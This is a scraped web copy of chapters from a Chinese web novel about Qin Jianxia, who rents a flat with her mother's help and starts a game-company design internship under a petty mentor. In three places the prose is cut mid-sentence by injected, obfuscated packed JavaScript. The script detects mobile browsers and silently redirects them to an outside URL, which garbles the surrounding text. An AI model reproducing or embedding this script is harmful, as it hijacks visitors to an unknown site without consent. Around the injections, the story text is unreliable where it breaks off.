“刚刚我妈给我发微信了,”秦见夏站起身,突兀地转移话题,“说让你一会直接去酒店,王阿姨大概六点多回全季。” “全季就在那边不远,”她指了指远处那栋楼,语气不明地说,“我就不送你了,我们就到这里吧。” 林居奕愣在原地,对她突如其来转变的态度有些琢磨不透,也站起来,拧着眉瞧她:“你是在拒绝我吗?” “见夏,我们就打开天窗说亮话吧,”林居奕的眼睛依旧明亮,姿态带着异国他乡的直接与从容,“我对你很有好感,我知道咱们国家可能接受不了dating文化,我们可以先从朋友做起,互相了解一下,可以吗?” “我想你可能还在对那个绿萝男念念不忘。其实正好啊,你可以试着跟我接触接触,指不定就移情别恋,给他忘了呢。” “所以先不要着急拒绝我……” 林居奕蹙起眉,一副恰到好处委屈的表情。 秦见夏紧盯着他,一时晃了眼,不过脑子地答:“好……” “不过,”她回过神来,低头看向自己的蓝裙子,“我才没有对他念念不忘!” “不要造谣啊,我不是因为他……” “那是因为什么?” “我有潮男恐惧症行不行?尤其是你这种英语好的潮男,不得容我缓两天吗?” “行行行——您说什么就是什么。那,秦小姐还送不送我回酒店?” “好吧,送就送。真搞不明白你一个大男人为什么还要女生送!” “可能因为我是小男人~” “……” 聊天声渐远,小乌龟又从湖面伸出脑袋。 它扑腾起手臂,身边萦绕着一圈圈波纹。 晚风徐徐。 40. 终止键 秦见夏送走林居奕后,又在外面逛了会夜市,回到家已经七点。 赵霞和秦国海正在看电视,见女儿回来,随口问了句和壮壮相处得怎么样。 秦见夏这两日快到经期,本就心浮气躁,闻言更是不爽道:“妈!你怎么就这么着急把我推销出去?” “我根本就不想结婚啊!” 赵霞一愣:“我咋就推销你了?” “你一个劲地撮合我和那个林居奕干嘛?”秦见夏边换鞋边抱怨,“搞得人家以为我有多恨嫁呢!而且——你还说什么我之前没谈过,时代变了,现在母单很没面子的好不好!不要什么都往外说啊!” “人家林居奕家里条件不错,显得我们也太上赶着了吧!” “妈错了妈错了,”赵霞反应了片刻,连忙起身过来,握住女儿的手,“妈不是以为你喜欢那小子,这才撮合你俩的吗?再说,我看壮壮对你也有点意思,所以才……” “就是!”秦国海却瞬间容光焕发,“丫头呀,老爸支持你!我们女孩子家家的,还是事业更重要!干嘛那么早地谈朋友结婚呀?你有不结婚这个计划,老爸双手双脚支持!” “不过老爸还是比较赞成招赘,”秦国海滔滔不绝,“我们领导的女儿就打算招赘。咱们家呢,虽然没他们那么有钱,但爸妈还是攒了点积蓄的。丫头要是以后遇到喜欢的、想结婚了,尽量招赘噢!” 秦见夏:“……” 赵霞虽然认为招赘太过异想天开,但对秦见夏的想法还是很尊重的,见闺女仍然一副委屈的表情,再度拍了拍她的手,笑着道歉:“妈跟你道歉,下次妈绝对不乱点鸳鸯谱了。” 她说着,还比了个发誓的手势。 秦见夏看着妈妈讨好的笑容,心里更加不痛快:“哎,我这两天心情不太好,我先回屋了。” 秦见夏卸了妆,换上睡裙,趴在床上闷闷不乐地刷抖音时,听到一阵敲门声传来。 “进。” 赵霞端着切好的西瓜进门,将透明果盘放在桌面上,发出清脆的一声。 “夏夏,妈妈今晚陪你睡好不好?” “妈——”秦见夏将赵霞拉到床边坐下,扑进她怀里,蹭着妈妈的肩膀,“对不起,我最近上火,不是故意对你发脾气的,我这两天看路边的狗都不顺眼……” “妈知道,你快来例假了,妈都懂的,你见我什么时候因为你发脾气而生过气?”赵霞慈爱地抚摸着她的头发,“你和妈年轻的时候相比,脾气已经很好了。” “还没你那几年,我天天单方面对你爸发脾气。白天工作不顺利,晚上回家我就拿你爸撒气。索性你爸脾气好,不跟我计较,现在我当然就更不会跟我亲闺女计较啦。” “能让我们夏夏开心一点的话,妈妈偶尔当当‘出气筒’也没事的。” 秦见夏内疚地又在她怀里蹭了蹭,像小时候一样。 赵霞正色道:“好啦,不要再想这件事,都过去了——妈是想问你那个实习的事情,你下周一就要去晋海报道了吗?实习几个月啊?公司有没有安排宿舍?” “说是实习三个月,但可以随时走,没有宿舍,但有餐补和房补,好像还有打车补贴,”秦见夏又打开offer看了一眼,“我今天问过HR了,晋海的大厂都没有宿舍,他们说实习生都是自己租房住。” “一个月工资五千多,房补有两千,加起来也七千多,感觉待遇很不错。我还是蓝牌的实习生呢~” “蓝牌是什么意思啊?能转正吗?” “蓝牌貌似就是本部的意思,含金量最高,绿牌是外包岗。应该不能转正,据说现在实习都没有转正名额。” “那我们夏夏真厉害,”赵霞赞叹道,“不能转正也没事啊,能进大厂见见市面就挺好。” “你爸要上班走不开,我安排了人帮我代班一周,反正就中午给小朋友做一顿饭,也不需要操心。我是打算这周陪你去晋海,咱们先看看房子,顺便再陪你逛一逛,你看怎么样?” 秦见夏感觉太麻烦妈妈了,拒绝道:“诶呀不用啦,我在小红书找个合租的算了。最近应该有挺多暑期实习的,让你陪我去太折腾了。” “不行,这件事你必须听我的。你才进入社会,很容易被骗,妈妈跟着去安排妥当还放心点,不然我和你爸得整宿整宿地睡不着觉。”赵霞仿佛变脸大师,面色又严厉起来。 “那也行,”秦见夏只能同意,“不过……租房的话,我得先找你们借点钱。我的生活费基本都是月光,手里没什么余钱,等我发了工资就还你们。” “你租房的钱肯定是我们掏啊,说什么借不借的,”赵霞自己拿了块西瓜开始啃,“爸妈当初商量一个月给你一千五,就是打算让你月光的。没想到你一次都没花超过,你简直是妈见过最省心的小孩。” 秦见夏在A大生活费一千五刚刚好。 由于不吃早饭、一天吃一顿、不爱吃零食水果、不需要买衣服、基本零社交,平日除了吃喝和洗澡也没什么支出,偶尔还能攒点零头。 她想出去旅游的话,也都是自己提前兼职攒钱,根本不好意思开口找父母要——高三美术集训八个月下来,总共烧了他们将近十万块钱,结果还落榜985,大学再为了出去玩要钱显得太败家了…… 秦见夏的父母倒是不在意对她投入的成本,俩人只对没本事送她出国留学一事耿耿于怀到现在。 人家成绩不如秦见夏的初高中同学,家长都送娃去英国、澳大利亚留学,学校排名反倒更高。自家孩子又不是能力不如他们,只是做家长的拖后腿才造成如此局面,十万块钱算不了什么。 总之,秦见夏和父母都觉得互相亏待了对方。 赵霞酷爱把西瓜切成长方体条状,也抽出一条递给秦见夏。 她接过西瓜芯,啃了一口,听到老妈分析得头头是道—— “至于租房呢,妈妈反正是不想让你合租。你一个还在上学的小女孩,一个人在外地,万一合租室友人品有问题怎么办呀?就算室友都是女生,万一她带男孩子回来过夜呢?” “还有卫生问题,合租又得像宿舍一样打扫公共区域,这又是个矛盾,几个人共用一个坐便多脏啊!天天早晨上班还得排队洗漱,太麻烦了。” 赵霞越说越坚定,将瓜皮扔进垃圾桶里,发出“咚”的一声:“咱们哪怕多掏点钱也要保障人身安全,租个小公寓吧,晋海不是挺多单身公寓吗?反正你去实习爸妈也不断你的生活费,多掏几百块钱房租没事的。” 秦见夏还是觉得没必要,反正天天在公司965,也不常在房子里待。 而且有警察,怎么会不安全。 赵霞却还是坚持己见,最后她只能妥协:“那咱们去了晋海再商量吧。” - 秦见夏在家里又度过了颓废的两天。 由于要收拾去晋海的行李,赵霞母女就没再陪王阿姨她们游玩,对此,林居奕还特意发微信给她:「那我回头去晋海找你~」 秦见夏:「你最好空降成腾游老总把我立刻转正,thanks」 林居奕:「lol」 暑假正值旅游旺季,晋海的酒店价格也水涨船高。赵霞定了晋海郊区的民宿,虽然位置快到机场了,但胜在价格适中且近地铁口。 秦见夏对于住什么档次的旅馆完全没意见,哪怕去住青旅她也是可以的。 十三号出发之前,秦国海取回来一个超大的纸箱快递,他艰难地把箱子扛进家门,朝屋里喊:“夏夏,你买的什么啊——怎么这么大个纸箱子?” 秦见夏闻言,叼着冰棍走出卧室,等爸爸将纸箱放好后,拿起小刀划开快递。 原来是剩下的Switch卡带,她都快把这事忘记了…… 秦见夏对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669851|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一箱子的卡带思索良久,还是打算对谈继秋道个谢。 于是她拿起手机,拍了张照发给他,并附言:「谢谢秋神~剩下的卡带也收到了,非常非常感谢您!」 勤捡虾球:「谢谢老板.jpg」 如此大方、得体,且热情。 发后便完成任务似的将手机扔在脑后,又心无旁骛地玩起动森。 谈继秋就比较纠结了,盯着对话框足足十分钟,才斟酌地回了个:「不用跟我客气/呲牙」 这回倒是没等来她的锐评,过了很久才收到一个「抱拳」的表情。 形单影只的表情,仿佛对话的终止键。 谈继秋轻叹一声。 “好好的叹什么气?”Dollar坐在他身边玩星露谷,一边疯狂点鼠标钓鱼一边吐槽,“福气都被你叹没了。” “没什么,”谈继秋放下手机,“在想二十九号CJ活动的事。” “CHNJoy?” Dollar的鱼没钓上来,气得砸鼠标:“这有什么好担心的,今年不就是搞了个水友赛吗。” “担心Adgai暴揍我。”谈继秋随便找了个借口,语气平平。 Dollar不可置信:“二十九号季后赛不是还没结束吗,NXE怎么同意放人的?” “不清楚,”谈继秋打开围棋对局,仍旧一副毫无波澜的姿态,“Adgai风头正盛,NXE积分又是第一,缺席一天训练赛也没什么。” “差个Abandon,你们LPL颜值前三就齐活了。” “主办方明显就是拿你俩炒话题,但让你一个退役老头和现役打有点说不过去吧,无论谁输赢反正都有节目,主办方这算盘打得真响,啧啧……”Dollar心道幸好自己不去,面上深表同情,“那你很惨了,退役了还被拉出来反复鞭尸,不如我去得安详。” 谈继秋:“……” - 秦见夏这两个月打算轻装上阵,临走前将那箱游戏卡带和Switch都放在房间里,交代爸妈他们可以随时玩,还给父母推荐了几个双人游戏,顺便教了教老爸怎么插卡带。 秦国海对游戏也比较感兴趣,学得十分认真。 当天,秦见夏和赵霞坐高铁不到两小时便到达晋海。 此时十点多,坐地铁到民宿差不多十二点办理入住,时间卡得刚刚好。 这不是她们第一次来晋海。 赵霞很多年前在晋海工作过一个月。 秦见夏高三美术集训时,赵霞担心孩子一直画画太辛苦,恰巧也离得近,孩子又向往晋海,于是特意找班主任请假,带她去晋海玩了两天。 所以,秦见夏问:“妈,你又舍不得花钱去迪士尼,那咱俩还有啥玩的啊?” “都说了给你买学生票,你自己去玩,”赵霞坐在行李箱上等地铁,“我对游乐场又不感兴趣。” “那咱们先去找房子吧,”秦见夏无奈道,“实在不行……咱再去逛一遍外滩。” 赵霞:“……” “你饶了我吧,妈已经逛三四遍了,”她说,“你就不能查一下晋海最近都有什么艺术展?哪怕咱娘儿俩去个livehouse也行啊。” “可是livehouse又没有王菲……”秦见夏倏地一拍脑袋,恍然大悟,“哦——我明白了,您这是醉翁之意不在酒,在乎晋海乐队也啊?” 赵霞:“那倒也不是,咱们还是以租房为主,娱乐为辅……如果最近有黑豹的演出,妈就在晋海多陪你几天嘛~” “切——”秦见夏噘了噘嘴,“这样,等我实习结束拿到工资,不管黑豹在哪演出,我都抢票陪你一起去,怎么样?” 赵霞美滋滋地:“成交!” 秦见夏低头瞥向身旁正在刷娱乐八卦新闻的老妈,不由得笑了两声。 女人至死是少女…… 41. 新地图 秦见夏和妈妈在公司附近逛了整整两天,大致摸清了附近租价。 公司位于繁华地段,周围大户型的房子居多,单身公寓基本月租六七千起步,合租和一居室都要三千左右。 两人一合计,那还不如租个开间,至少自己住比合租自在些。 最终,她们在距离公司地铁两站的一片老小区,租了个三十平左右的开间。 赵霞砍了砍价,以一个月2850的价格顺利租了下来。 麻雀虽小五脏俱全,还在地铁口旁边,秦见夏相当满意。 赵霞倒是觉得老小区看起来安保不是特别好,然而转念一琢磨——好歹在大城市的市中心,周围派出所离得也不远,应该不至于有危险。 Livehouse没去成,两人只在M50创意园逛了逛,秦见夏给老妈拍了许多打卡照片,勉强算作不虚此行。 本来计划是给秦见夏租完房就回家,但赵霞实在舍不得女儿,找借口赖着不走—— 不仅帮她把家里大扫除了一遍,买了一堆日用品,还做了一周的预制菜冻到冰箱里,又是炖肉又是包饺子,生怕闺女照顾不好自己。 硬生生拖到周天下午,才一步三回头地乘高铁离开。 七月的倒数第二周,秦见夏正式开启了大厂实习生涯。 入职前,她仔细阅读了HR发来的入职指南,也扫描了最后一页的二维码,提前下载了腾游的办公APP。 用工号和域账号注册登录时,系统提示错误,估计要正式办理入职后才可以登入。 HR发来的邮件里,还有秦见夏所在的部门和导师。HR知道她是第一次实习,还贴心地告诉她要提前加mentor的微信。 秦见夏思来想去,选择在上周五加了导师的联系方式,认真备注了部门和姓名。 负责她的mentor是位男性,头像是一副故弄玄虚的黑白抽象画,朋友圈仅三天可见,个性签名还是很土的“你若安好,便是晴天”。 她隐隐有种不详的预感。 这种预感持续到走进腾游产业园的那一刻,瞬间烟消云散。 腾游和想象中的办公大厦不太一样,这是一座规模宏大的园区。 与其说是公司,不如说更像是翻版的大学校园,景色别致、环境优美,里里外外都充斥着“大厂”的气息。 由于秦见夏是入职第一天,没有工牌,所以只能提前去保安室领取入园贴纸。 穿着严肃的保安让她拿出身份证以及电子offer,那句标准英伦口音的“offer”,令她这个大学生都有些自愧不如。 领到入园贴纸后,秦见夏抬眼望向庞大的园区,暗自庆幸还好提前了一个小时到达。 晴空万里,八点半的园区异常安静,只有零星的车子缓缓驶入。 她研究了一会面前的导视牌,还是选择直接打开高德地图。 索性公司的建筑都有编号,秦见夏顺利地跟着导航找到B4,此时刚好接近九点,她收到mentor发来的微信—— 「办完入职不用领电脑,直接来a5」 秦见夏站在B4门口,秒回收到,发送后思忖两秒,瞥见里面好像已经开始办公,便没有等到通知上的九点半,选择先进去问问。 果然现在可以办理入职手续了,秦见夏签完电子合同,进行了面部识别,又听HR讲了半天的注意事项,最后领取工牌和新手大礼包,离开了这栋不算太高的灰色建筑。 她走在通往A5的路上,低头瞧了瞧手中拎着的纸袋,突然觉得自己仿佛身处游戏中一样。 同事们是NPC,现在刚做完“新手教程”,走出“新手村”,甚至和游戏里同样有“玩家大礼包”,以及手机上还开着“自动寻路”。 秦见夏边走边打量“新地图”。 B4看起来并不像专门的办公区域,视线穿过一侧通道,可以看见里面是类似于商场的餐饮集合地,不仅有拉面馆、还有瑞幸和奶茶店。 秦见夏开始万分期待自己未来三个月的实习生活——至少饮品店离得不远。 一路上遇到不少“同事”,都挂着工牌,她也有样学样,边走边将工牌掏出来,一丝不苟地挂在脖子上。 秦见夏举起工牌,仔细端详“运营事业部助理设计师——秦见夏”几个字,心满意足地拍了照,发了条好友可见的朋友圈。 这是离梦想最近的地方,她想,此刻应当是她人生中为数不多意气风发的时刻。 A5看起来像办公大楼,秦见夏抬头上眺,有些看不到顶。 好在刚刚没出B4时,她脑子转得快,问了HR一嘴:“姐姐你知不知道我们这个运营事业部在A5哪一层呀?” “你的mentor没跟你说吗?”HR奇怪地说,“应该是在十八层,你不了解的直接问负责人吧。和mentor碰面后,他应该会带你逛一下公司的基础设施。” “好的好的,谢谢姐姐。” 秦见夏拎着纸袋,刷卡走进办公楼。 大厅装潢气势恢宏、简约肃穆,使人不由得屏气凝神。右侧向里走的方向似乎还有展柜,远远望去像是ip集合。 她决定趁没人的时候去看看。 电梯到达十八楼,因已是上班时间,四周一片安静。 秦见夏刚走出电梯区域,就被面积庞大的格子间办公区震惊了一下。 好在大家都闷头工作,没人给她眼神。 她只能看到一个又一个的黑色脑壳,像一个坑一个的萝卜。 这怎么和她想象中的腾游工作环境不太一样…… 难怪大厂打工人会被称为“牛马”,秦见夏这回真认清现实了。 大家都坐在工位死气沉沉地办公,电梯口突然站了个一脸茫然的女孩,难免会引来几道打量的目光。 秦见夏深吸一口气,决定先退回电梯间。 她连忙掏出手机,发微信给mentor:「导师,我到18楼了,请问咱们部门在哪里啊?」 那边立刻回:「我来电梯这里找你。」 秦见夏便收起手机,安心在电梯口等候。 等了半天,等来一位个子不高的黄毛。 Mentor竟出乎意料地年轻,看起来比她大不了两岁。 来人皮肤黝黑,身形削瘦,眼皮耷拉得像流氓兔,一头粗糙的、漂后褪色的头发,和姜黄色卡通短袖。 秦见夏低头瞥了眼自己特意搭的白衬衫和牛仔裤陷入沉思。 谁是导师谁是学生…… 她像偷穿大人衣服的蜡笔小新。 “你就是秦……见夏吧?”汪炜说着话,露出一口参差不齐的大黄牙,“跟我来吧。” 秦见夏亦步亦趋地跟在汪炜身后,边走边打量办公区,mentor也不给她介绍,她只能自己四处研究新地图。 十八层是开放型办公区,区域很大,似乎还有很多细分部门,每个部门上方都在天花板悬挂着标识牌。 两旁有独立办公室和会议室,拐角处还有茶水间和休闲区,整体设计风格偏科技感。 路过的工位上,也都摆着各式各样的烧水壶、腾游的ip玩偶、手办以及私人的小物件,为冷冰冰的大楼里增添了一丝活人味。 汪炜带着秦见夏拐了两个弯,来到靠近厕所的设计部,指了指最外侧的位置:“你的工位在我旁边。咱们部门统一配备台式电脑,一会你登录后,把设备名改成你的名字,如果有文件要传输方便直接AirDrop。” 秦见夏瞠目结舌地扫了眼人手一台的iMac,对大厂的财大气粗叹为观止。 之后汪炜又领着她一一对在座的员工进行了问候,还好秦见夏不怎么社恐,但看部门其他人都挺社恐的,尤其是坐在最角落靠墙的组长,戴着一副经典黑框眼镜,十分局促地和她打了招呼。 看这派头,本来还以为汪炜是组长呢…… 原来不是啊。 不过设计部的人只有组长看起来是中年人,其他员工都很年轻。 她走回工位,拉开椅子坐下,心想唯一的缺点就是工位在靠过道的位置,摸鱼太容易被发现了。 他们这边的布局是一行十来个人左右,设计部看起来人不多,一共就两行,后面那行电脑靠墙,她这行和别的部门同事面对面。 也就是说——他们部门的任何人从她背后经过,都能看到她的电脑…… 指不定谁都能来指点两句。 秦见夏已经有种蟒蛇缠绕般的窒息感。 Mentor的工位还就在她右边,简直是会让人产生一种被监控的错觉。 汪炜见实习生已经熟练开机登录了办公系统,便滑着椅子过来介绍道:“我们部门主要负责一些运营商方向的线上日常运营工作,之前也让你做过banner试题,平时我们就是做banner、海报、推荐位、楼层图切图这些。” “我看了你的简历和作品集,对于你来说应该是很好上手的……不过,最近公司内部调整,人手比较紧张,可能要帮没有实习生名额的部门分担一些额外的需求,你看你这边……” “可以的,没问题。” “然后我再给你简单介绍一下OA系统,平时我们就是用APP在手机上完成上下班的打卡,早九晚六。最近暑期比较忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽然和她心目中的视觉设计岗相差甚远,也完全接触不到任何核心的设计与研发过程,还让她产生了一丝丝外包岗位的质疑,但她的确是校招进来的蓝牌实习生…… 快到中午下班时,汪炜又滑着椅子凑过来,为秦见夏介绍部门的具体工作流程。 其实就是各个渠道的需求方在Excel在线文档里,填写具体需求和截止时间。他们只要更新了需求,这边就得做,还要按规定命名图片和文件夹,做完且审核后直接打包发在群里就行。 听起来很简单,然而秦见夏一个人要负责三个渠道,每个渠道的需求和截止时间完全不同,算是简单但繁琐的工作。 汪炜见秦见夏一点就通,便直接分了一条需求,截图发给她,让她下午完成。 十一点半时,陆续有同事离开工位去吃饭。秦见夏用余光瞥见汪炜一直没动,也不好意思起身。 结果,刚刚那个同样是实习生的女孩大发兀地出现在她身后,随手摘下工牌,敲了敲秦见夏的桌子,小声问:“一起去吃饭吗?” 秦见夏迅速点头,小心翼翼地起身,问汪炜:“那炜哥我先去吃饭了……” 汪炜从电脑里拔出蜡黄的脸,没什么表情:“嗯,去吧。” “你太乖了啦——” 长相可爱的大发素面朝天,脸圆圆的、单眼皮,眼睛却又黑又亮,戴着一副圆形黑框眼镜,皮肤雪白,莫名让她想起仓鼠这种生物。 她的嗓音倒是与可爱的长相不符,有些低沉。 大发十分亲切道:“夏夏,以后到点了直接走就行,不用给那个阿炜汇报。” 她带她从楼梯间下到十七楼等电梯:“咱们肯定是赶不上电梯了,单层电梯人少,我们都到十七楼坐电梯。” A5一共六部电梯,按单双层停靠的各有两部,剩下一个全楼层停靠,一个是普通员工坐不了的专梯。 原来坐电梯也有讲究。 十七楼几乎没人,秦见夏想起大发提及汪炜时的语气,小声试探地问:“你们叫他阿炜啊?” “是呢,咱们叫他阿炜哥就行,我看别的姐姐直接叫他阿炜。” “那阿炜哥是副组长吗?”秦见夏又问,“他给人一种大学班长的感觉。” “他?副组长?夏夏你真有意思,”大发脑海中浮现出那个黄毛的身影,不由得笑了两声,“副组长是坐在我旁边的姐姐,平时和组长一样低调,基本都不怎么说话。” 秦见夏恰到好处地进行捧哏:“啊?居然是这样吗……” “我听我的mentor姐姐说过,阿炜好像是今年新来的。反正咱们部门男的少,活还多。” “而且我还听晓红姐说,下周还要把咱们发配到活动部用两天,好像是那边没有实习生名额,但人手严重不足……” “哎——总之,你来了我真开心!阿炜终于不用再给我和那个男实习生派活了!”大发被压榨得欲哭无泪。 秦见夏也欲哭无泪:“……” 这好像和她想象中的大厂实习不太一样…… 42. 下马威 大发告诉秦见夏可以在APP查看两个食堂每天更新的菜单,最后她们决定去B4吃饭,吃完顺便买个瑞幸的新品。 秦见夏和这个同事很聊得来。 两人聊了一路,她得知大发是S大的学生,平时都坐地铁在学校和公司间往返通勤,还热情地邀请秦见夏去她们学校逛逛。 秦见夏虽然知道是客套话,但还是一口答应下来。 有个上班搭子是件幸福的事。 大发是金铲铲的粉丝,秦见夏是王者和LOL的粉丝,吃完饭后,两人一拍即合,在园区内探索了一会,快到上班时间才回到A5。 许多员工中午都在工位睡午觉,整个办公区关着灯,异常安静。 秦见夏蹑手蹑脚地坐回办公椅上,小心翼翼地拆开了新手大礼包。 刚刚上班时间都不好意思打开看—— 实习生入职礼包是一个玩偶,以及笔记本、书签和中性笔的经典三件套。 秦见夏顿时一脸无语地放了回去,惋惜地在心里感叹,送这些还不如送王者改名卡呢。 Mentor没说截止时间,她担心需求方急着要,所以下午这个banner秦见夏做得很快,甚至还刻意拖了一会,到三点才截屏发给汪炜看预览图。 汪炜似乎没料到她上手如此之快,撑着下巴冥思苦想了半天,才对一旁的秦见夏招了招手。 她胆战心惊地起身,走到mentor身旁,微微弯腰,看向他的电脑屏幕。 汪炜在秦见夏发来的图上随手标了两个红色方框,一本正经道:“你的标题没有居中对齐……不要太追求速度,要追求质量,可明白?” 秦见夏:“……” 她斟酌许久,还是开口解释:“可我是在ps里用的自动居中对齐。” 秦见夏刻意加重“自动”两个字。 “我知道啊。”汪炜的语气染上几分不耐烦。 他理直气壮道:“你来我身后看,这个标题肉眼看是不对称的。你用软件的居中对齐,整体视觉效果还是偏的。” “还有——你这个背景色太强烈了,主视觉也不够突出。我们这个banner放在用户那里看是很小的,你做得没有主次起不到效果。再说了,这个色调太清新,虽然是暑假季banner,但也不至于是这个颜色,需要再换一个色调。还有……” 一个文字信息寥寥无几的banner,300×200像素的banner,主视觉甚至是标题的banner,汪炜居然提了整整五分钟的修改意见。 秦见夏盯着他两侧随意标出的红色方框,一言难尽地在他看不见的地方撇了撇嘴。 说不对称前好歹先统一度量衡吧。 还真是头一次见,作图不靠软件、靠肉眼对齐的。 术语是比学校老师还专业的,手上做的不对称标记是随便拉的,具体的优化方向是一个也提不出来的。 不是这个颜色,那是哪个颜色? 三个像素的修改空间,真的能看出来改对称了吗? 秦见夏屏气凝神地坐回工位,只能在心底长叹一声,给大发截了个图过去:「图片」 秦见夏:「大发你帮我看看,这真的不居中吗?我肉眼看也是居中的啊?」 秦见夏:「可是mt标的红框都不对称,我刚刚还自己标了一下,你看,明明是对称的TT」 秦见夏:「图片」 大发回得很快,秦见夏坐在这里都能听到她噼里啪啦打字的声音:「ww就这样,你的前任实习生也天天改图,天天跟我骂他」 大发:「他找我们帮忙作图可能不好意思让我们改来改去,基本不咋挑刺」 大发:「我和那个男实习生的mt都很好,姐姐们从来不让我们改图,做成啥样都夸我们…说实话,能让咱实习生做的图就根本没啥技术含量,也不重要,需求方那边审核也根本没让改过图」 大发:「恭喜你夏夏,不出意外你开到最差mentor盲盒了」 大发:「blessyou/蜡烛」 秦见夏:「……」 秦见夏:「那很锻炼人了……」 秦见夏:「不聊了,给我们ww哥改图去了^^」 她根据汪炜的需求,逐一修改完毕,拖到五点半才发给他看。 为了避免他又用长度不同的红框标注不居中,这次秦见夏自己p了两个等长的长方形上去,证明自己居中了,严谨地发送两张预览图给他。 汪炜:「标题描边还是不太突出。」 秦见夏再度切换ps,看着金光闪闪的标题描边陷入沉思。 难道要用红配绿、黄配紫才行吗……? 于是她“揣度圣心”,又把描边加粗了两毫米。 汪炜:「可以,快打包发到群里。」 五点五十,终于把预览图发在群里,并艾特需求方。 甲方秒回:「很好,辛苦/玫瑰」 秦见夏如释重负地将提前压缩好的zip拖进聊天框,点击【发送】。 大发的消息弹出来:「其实我们现在做完都不给姐看,直接和需求方对接,需求方那帮外行其实看不出来这么多门道,只会说做得很好」 大发:「毕竟只是无关紧要的banner,究竟谁会在意背景深浅还有标题阴影大小啊/流汗」 大发:「应该是你第一天来,做得太快,他给你个下马威尝尝,下次记得卡下班的点给他看/抱抱」 秦见夏:「好的/流泪」 秦见夏:「我没想到还有这么多弯弯绕绕……」 秦见夏:「下班一起吃饭吗TT」 自从秦见夏摸清门路后,之后几天都相安无事,只要卡在最后半小时再给mentor检查,他一般都无暇顾及她做得怎么样,差不多瞄一眼就过了。 直到周四,本来已经把汪炜转发来的需求全部做完了,没想到他还是小窗秦见夏:「这个需求怎么还没交付?」 汪炜:「图片」 秦见夏点开一看,心道明明是你根本没给我发这条需求…… 但还是回复:「阿炜哥,这个需求您没截图发给我,我还以为您做了呢……」 汪炜:「表格里但凡是咱们这三个渠道的需求,都需要你来完成啊。」 汪炜:「以后你自己看Excel吧,我就不转发了。」 汪炜:「我这边还有总渠道的工作,你那边什么时候做不完了我再帮你分担。」 秦见夏:“?” 究竟是谁帮谁分担啊。 秦见夏轻轻抬眼瞟了下天花板,算是翻了个不明显的白眼。 秦见夏:「好的阿炜哥,我这就做」 中午吃饭的时候,她越想越不对劲,特意问了大发:“咱们部门是每个正职员工负责三个渠道对吧?” “对啊。” “然后那些正式员工再把做不完的活派给我们对吗?” “是的啊。” “阿炜让我直接看表格做全部需求,这好像不太对吧,我全做完了他还做什么?” 大发夹菜的动作滞住,惊讶问:“他让你做三个渠道的全部需求啊?不是开玩笑吗?” 秦见夏便举起手机,翻出聊天记录给她看。 “我们都是姐直接把需求截图发给我们,她们发什么我们就做什么,别的估计自己就做了。我姐甚至还会谢谢我帮她分担工作,而且有时候需求多,我做不完的姐还帮我们做……” 大发不由得拍了拍她的肩膀,辣评:“谁让你第一天做那么快的!咱阿炜哥这回得到趁手的丫鬟了,直接拿你当老黄牛使,不仅任劳任怨、还指哪打哪。” “那总渠道天天哪来那么多需求啊?” “这周我每回路过他身后,都看到他在用电脑摸鱼,不是聊天就是逛站酷,给屏幕亮度调得贼暗—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15697163|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特么哪个作图的给亮度调那么暗!人家倒是机灵呢。” 秦见夏已经上出“班味”的脸更是黑了又黑。 “我这运气还是一如既往地臭……”她打量了一下同样憔悴的大发,“说实话,第一天上班我还全妆戴了美瞳来,现在我终于理解大家为什么都一副社畜扮相了……这班真不是人上的。” 即便mentor义正辞严地把95%的工作都推给了秦见夏,但窝囊的她还是勤勤恳恳地逐一完成了。 毕竟……她确实很需要这段实习经历,不可能真的和负责人硬刚。 再者,实习生本就是帮人家分担工作的,分担多少全凭良心。 算她倒霉,摊上个没良心的汪炜呗。 这个能者多劳、不能者不劳的时代,只能认命。 每周的ddl都在周五前截,所以周五一般很清闲。 秦见夏难得轻松,想拿起手机看一眼中午菜单,好决定去哪个窗口排队,刚用面容id解锁了手机,身旁的人突然敲了敲她的桌子。 “见夏,上班时间不要玩手机。” 他面容肃穆,仿佛她做了什么损害公司利益的大事。 秦见夏:“?” 大哥,她刚拿起手机有五秒钟吗? 而且他自己不也是天天玩手机吗? 虽然心里十分不爽,但秦见夏还是歉疚地立刻放下:“不好意思阿炜哥,我刚只是想看一眼打卡有没有打上……” 汪炜那张棺材脸上表情淡淡:“嗯,下次注意。” 这副死出简直和某人一模一样。 秦见夏在心里骂了句死面瘫,双击电脑版微信,不知第多少次问大发:「你姐抓你玩手机吗?」 她感觉自己像个白痴一样天天问…… 但她实在心里十分不平衡。 大发很快回复:「我姐自己也玩手机呢,反正组长不管」 大发:「不对啊,我看组长还玩手机呢」 大发:「我只被你的傻逼ww哥说过不要玩手机,真醉了」 大发:「他去上厕所看到我在玩手机,人家还特意走过来提醒我,把我们姐吓得都不敢玩了。这人真的有毛病,我又不是他实习生,他管这么宽干嘛?没拿鸡毛也能当令箭?人组长看到都不说啥,他还装上了/憨笑,感觉是上学的时候给班主任打小报告那种人」 大发显然也对汪炜积怨已久。 秦见夏:「同意@#¥;」 